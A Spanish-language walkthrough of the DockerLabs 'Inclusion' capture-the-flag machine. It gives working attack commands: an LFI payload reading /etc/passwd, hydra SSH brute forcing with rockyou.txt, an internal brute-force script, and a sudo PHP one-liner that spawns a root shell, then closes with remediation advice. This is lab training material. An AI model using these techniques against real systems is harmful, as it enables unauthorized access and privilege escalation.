Inclusion

Introducción

Este documento detalla la resolución completa de la máquina Inclusion, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

1. Reconocimiento: Descubrimiento de servicios y endpoints web expuestos.
2. Explotación: Obtención de credenciales mediante una vulnerabilidad LFI combinada con fuerza bruta vía SSH.
3. Escalada de privilegios: Uso de técnicas de password scraping y mala configuración de sudo para obtener root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.

---

Información General

Atributo	Valor
Nombre	Inclusion
Autor	El Pingüino de Mario
Dificultad	Medio
Fecha	12/05/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Descomprimimos y desplegamos la máquina:

unzip Inclusion.zip
sudo bash auto_deploy.sh Inclusion.tar

---

Paso 1 — Reconocimiento

1.1 Organización del entorno

mkdir -p Inclusion/{content,exploits,nmap,gobuster,scripts}
cd Inclusion

---

1.2 Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

• 22/tcp — SSH
• 80/tcp — HTTP

---

1.3 Enumeración HTTP

Utilizamos Feroxbuster:

feroxbuster -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

Rutas relevantes:

• /index.html — Página generada por Apache.
• /shop — Una tienda de teclados con un parámetro vulnerable.

Dentro de /shop, se observa el mensaje:

"Error de Sistema: ($_GET['archivo']);"

Esto indica que el backend intenta cargar archivos usando el valor de archivo, sugiriendo una vulnerabilidad LFI.

---

Paso 2 — Explotación (Acceso inicial)

Probamos un ataque LFI:

http://172.17.0.2/shop/index.php?archivo=../../../../etc/passwd

Usuarios identificados:

• manchi
• seller

Los wrappers de PHP están deshabilitados, así que no podemos convertir el LFI en RCE. La vía lógica: fuerza bruta contra SSH.

Probamos con manchi:

hydra -l manchi -P rockyou.txt ssh://172.17.0.2 -t 64

Obtenemos credenciales válidas → acceso via SSH:

---

Paso 3 — Escalada de privilegios

---

3.1 De manchi → seller

No encontramos binarios SUID, tareas cron o configuraciones sudo útiles. Por lo tanto, recurrimos a fuerza bruta interna con el script personalizado UserRush.

Transferimos los archivos mediante scp:

scp ./UserRush.sh manchi@172.17.0.2:/tmp/UserRush.sh
scp ./rockyou.txt manchi@172.17.0.2:/tmp/rockyou.txt

Asignamos permisos de ejecución:

chmod +x /tmp/UserRush.sh

Ejecutamos:

./UserRush.sh -u seller -t 20

Accedemos con:

su seller

---

3.2 De seller → root

Revisamos permisos sudo:

Vemos que seller puede ejecutar PHP como root sin contraseña. Por lo tanto, podemos invocar una shell como root:

sudo php -r "system('/bin/bash');"

Acceso root:

---

Fallos de Seguridad Identificados

• LFI no validado, permitiendo lectura de archivos sensibles.
• SSH expuesto sin protecciones adicionales.
• Contraseñas débiles y reutilizadas.
• Acceso sudo excesivo: permitir ejecutar PHP como root es crítico.
• Falta de restricciones en herramientas de enumeración internas.

---

Recomendaciones

• Implementar validación estricta del parámetro archivo en /shop/.
• Deshabilitar SSH o restringirlo únicamente a IPs confiables.
• Aplicar políticas de contraseñas robustas y rotación periódica.
• Revisar configuraciones sudo y eliminar privilegios innecesarios.
• Monitorear accesos sospechosos y aplicar reglas de detección LFI.